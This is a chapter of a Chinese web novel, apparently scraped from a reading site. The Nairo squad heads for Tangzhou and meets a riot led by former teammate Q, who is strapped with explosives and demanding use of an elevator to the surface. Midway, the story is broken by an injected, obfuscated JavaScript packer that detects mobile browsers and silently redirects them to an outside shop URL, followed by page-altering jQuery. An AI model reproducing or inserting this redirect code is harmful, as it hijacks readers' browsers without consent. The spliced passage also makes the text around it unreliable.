准备去唐洲需要的行李时,莫妮卡特意在北联聚居地的论坛上,查了一下唐洲聚居地相关情报。
关于那里的资料很少——不如说,自从人类形成聚居地之后,各个聚居地之间就开始有意识地减少关于其他聚居地的情报流通。
目的之一就是安定人心。
除了高层之外,其余民众都对其他聚居地缺乏基本了解。
不过,隶属于灰人政府部门的奈落小队不在此列。
准备出发的莫妮卡就拿到了尽可能详细的唐洲介绍手册——
尽管已经是五十年前的版本了,很古早,还是纸质版。
莫妮卡看到年份:“?”
分发手册的阿比盖尔神色严肃:
“我之前去唐洲的时候,用的是偷渡的手段,在那里只待了二十八天。那里的人民虽然看上去生活繁荣,但总给我一种不对劲的感觉,特别是市面上关于社会整体经济、政治介绍的书籍少之又少,就算是网络上,也很少有讨论这方面的话题。这份手册还是我在那里的黑市淘的。因此如何收集情报、如何完成任务,还需要你们抵达之后再随机应变。”
秦为倾懒懒翻着手册:
“我十二岁之前,随父亲在唐洲旅居过一段时间。根据我的印象,唐洲的娱乐餐饮、赌博业都很发达,繁荣程度和北联第二区不相上下。”
拉尔把手册一翻到底,扔到一边:
“没有洲际网,没劲。”
林司青和莫妮卡一样,认真地一页页翻着,在“酒店、食宿、交通”章节上划了重点。
秦为倾自然地凑过去,又在“酒店、食宿”上缩小了范围。
闲适得好像只是去旅个游。
莫妮卡心里有些莫名放不下,特别是阿比盖尔说了那段话之后。
她向对方求证:
“除了你刚刚说的那些之外,唐洲还有那些奇怪的地方吗?”
阿比盖尔向后靠坐在沙发上,拨了拨紫色短发,状似回忆:
“那边据说也有灰人,不过我不知道联系方法,上一次有联络,也是五十年前的事情了。”
又是五十年。
这个时间节点究竟发生过什么?
见莫妮卡疑惑,阿比盖尔索性也就摊牌了:
“偌大一个聚居地,一年里能发生的事情太多了,而且他们那里的人民普遍不关心政事和经济,就连历史也学得稀里糊涂,再加上我当时的任务比较特殊,所以就没费心收集这些情报。”
不关心政事和经济——潜台词就是,一心只做乐子人了。
娱乐至上,倒和现在的北联第一区差不多。
莫妮卡又想到了那个踏着亲人和友人血肉,用谎言收获流量和世人欢呼的歌姬了。
她垂眸,不再发问。
……
莫妮卡本以为,发生变故和意外,多半得是到达唐洲之后,没成想,不等他们坐上电梯,就目睹了一起动乱现场。
他们搭乘的是位于第七区边缘的八号电梯。
这座电梯直达一处隐秘港口附近的民宅,位于北联聚居地高墙之外。
那里原本是一座废弃码头。
如今外表看着还是废弃码头,横七竖八停着几艘破船,但早已被灰人政府掩人耳目地将部分报废船只的老旧零件,替换成了高精尖。
看似破破烂烂,实际却能漂洋过海,远渡万里。
他们一行四人刚踏入安检口,就听一阵震耳欲聋的轰响。
莫妮卡眼皮跳了跳,第一反应就是扑倒身旁的指挥官。
令人惊骇的金红色热浪腾空而起,安检处建筑的玻璃被炸,零零碎碎落了一地。
有的碎玻璃撒在了莫妮卡身上,好在作战服够坚韧,没有受伤。
是从外部而来的袭击!
耳鸣中恍惚听到有人在说:
“上次这么大规模的爆炸还是大概十年前……不过是在电梯井下面炸的,有个男的抱着炸弹跳下去了……”
莫妮卡的耳膜震痛,听不清旁人窃窃私语,低头查看指挥官情况。
秦为倾的反应没有她快,但也是及时地捂住了耳朵,此时还算清醒。
她猝不及防被林司青拉了一下:
“快,坐电梯上去!”
虽然不清楚发生了什么事,但动乱明显是从外面来的,电梯口有一定武装力量,即使有乱子,也波及不到电梯。
林司青说得没错,到地面上去,才是最安全的。
从安检口到电梯口,需要经过一道长长的栈桥。
莫妮卡脚下不停,往电梯口跑,边跑边回头,目睹荷枪实弹的安保迎上了欲占领电梯井的敌人。
她在看清一马当先站在第一个的“犯罪分子”后,瞳孔骤缩,脚步也不禁慢了下来。
“莫妮卡!要发呆等进了电梯再发!”拉尔跑得气喘吁吁,百忙之中不忘叫她。
“Q,是Q。”她用不可置信的语气喃喃道。
林司青脚下一旋,踉跄止住冲势,惊愕回首。
平日里惯常缩着肩膀的沉稳男人,此时背脊挺直地站在安检口外,如山沉默,身后跟着乌泱泱一大片第七区人民。
之所以能认出是第七区,因为他们都有一个共同特征——
与林司青一样,瘦得皮包骨头,与难民无异。
而且,透过一些人敞开的领口,能窥见清晰的“G”烙印。
这是一群悍不畏死的罪民。
Q身上绑满了炸/药,这也是安保们投鼠忌器,不敢开枪的原因。
奈落小队四人默契地停住步伐,回首望向不知何时站到他们对立面的男人,面色如出一辙地复杂。
“秦,出手吗?”拉尔冷静问。
秦为倾目色罕见地流露出茫然:
“出手?我该帮谁?”
帮明显是要掀起布莱克执行官在位期间第四次罪民叛乱的前队友Q?
还是帮这里的安保,打败罪民,守住电梯井?
拉尔试图从这不合理中找到合理的说法:
“他是你举荐要加入奈落小队的,而且也跟我们执行过一次任务了,理论上跟我们是一伙的,为什么要跟政府对着干?”
很快,他就从这问题中找到了可能的答案,默然看向莫妮卡。
这目光并非谴责,甚至带有一丝自己都没察觉到的担忧。
莫妮卡脸色煞白,她嗫嚅道:
“他是因为我不同意他入队,才被推到罪民那一边的吗?”
林司青才不管这么多,他已经大步向Q跑去:
“究竟为什么,当面问问就知道了!”
然而没能等他跑到Q近前,就见对方缓步向安检口走来。
安保们张开磁场盾,却因人手不足,难以阻挡为数众多的罪民。
队长已经在请求支援,最近的武装力量却还要十五分钟才能赶到。
Q显然也看到了林司青,隔着重重人墙,二人短暂对视。
Q的视线率先移开,向安保队长高声道:
“我们并非想要你们的性命,只是想借电梯井一用。我们保证,到地面上之后,将会保持低调,对灰人的存在守口如瓶。”
安保队长显然对他的说辞嗤之以鼻:
“住口,今天你们谁都不能过去!”
听到Q的话,莫妮卡忽然明白了,在那么多电梯里,他为什么独独选择了八号电梯。
只有这里,这里直通北联聚居地墙外。
这么多灰人出现在地面上,目标非常显眼。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13389358|138524||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
只有八号电梯的出口,那座避人耳目的港口能够遮掩他们的踪迹。
林司青急急走过去,夺过安保队长手里的喇叭,在对方“你是哪位”的惊诧眼神中,冲Q喊话:
“Q,灰人到地面上去,你知道后果的!”
Q从身边人手中也接过一个喇叭,隔空回应:
“如果不是活不下去,谁又会背井离乡。”
安保队长夺过林司青喇叭,厉声呵斥:
“你干什么?不要随便煽动恐怖/分子情绪!”
他们争执间,奈落小队其余三人也赶到了。
莫妮卡遥遥望着Q,毫不留情地梅开二度,在安保队长“你又是哪位”的目光中,夺走了对方还没捂热乎的喇叭:
“Q,发生什么事了?”
对方见曾经有过合作的莫妮卡在此,语气放缓些许:
“上面在查第七区的医疗行业,为了配合调查,许多人的药都被停了。”
地底的灰人因为缺乏阳光照射,患病率高达95%,没有病的人反而罕见。
也因此,他们大多需要药材缓解病情。
在地底,医药行业是比地上更加暴利的行业——利润远比令人不畏上绞刑架的300%还要高。
也难怪第七区的病患不见天日。
没有阳光照射,患病率可以逼近99%。
Q补充道:
“跟我来的这些人,有的是想在死前见一见阳光,有的是想去地上另谋生路,全是老弱病残,拿枪对着我们,未免太小题大做。”
他说得没错,跟着他的那些人,身体已经有很明显的残缺,有一部分人甚至靠他人的搀扶才能站稳。
根本不是所谓的“恐怖/分子”。
安保队长愤然夺回喇叭:
“我不会允许你通过这里,你先是用暴力手段破关,又试图违反灰人法律——”
他话音未落,就听身后传来一道温和的男声:
“第七区的现状,我可以协助改善。不过,需要征求贵方执行官的意见。”
队长乍一听这个陌生的声音,只觉得心口都被熨平了,整个人说不出的妥帖,再回首看去时,只见自电梯廊桥的另一端,徐徐走来一名裹着咖啡色毛呢大衣的男人。
对方一头浅棕色长发,裹成一条粗辫垂在身后,蓝色眼瞳如深海般沉静,左眼角下一滴泪痣不显阴柔,反倒像是眼中那汪深海遗落的明珠。
“德古玛教皇……”秦为倾下意识看了眼终端。
距离约定好的会合时间还有一个小时,他不但没有在上头等,竟然还下来了。
要知道,坐电梯单程需要一个小时左右,他至少提前了两个小时就到了!
教皇这么闲的吗?
但下一刻,她就收敛心神,警惕又礼貌地上前一步,将教皇阻在廊桥内,不让他再踏入地底世界一步:
“抱歉,这是我们的内部事务,马上就处理好了,请您先去地上等待。”
法罗斯个子很高,低头看她,温声询问:
“不需要我帮忙吗?看上去,这些人过得很辛苦。”
秦为倾坚持:
“这是内政,安塔利亚先生。”
这次,称呼变成了更疏远、带着警告和提醒的姓氏了。
法罗斯依然是那副温和慈悲的笑容,抬手操作终端:
“我也是这么认为的,所以,请给我一些时间,联系布莱克执行官——”
手被按住了。
没有攻击性、非常疏离有礼的,轻按腕骨。
秦为倾一触即离,自己也说不明白,出于什么心态,想把这件事压下来。
压不下来的。
Q是动乱的领头羊。
他会死的。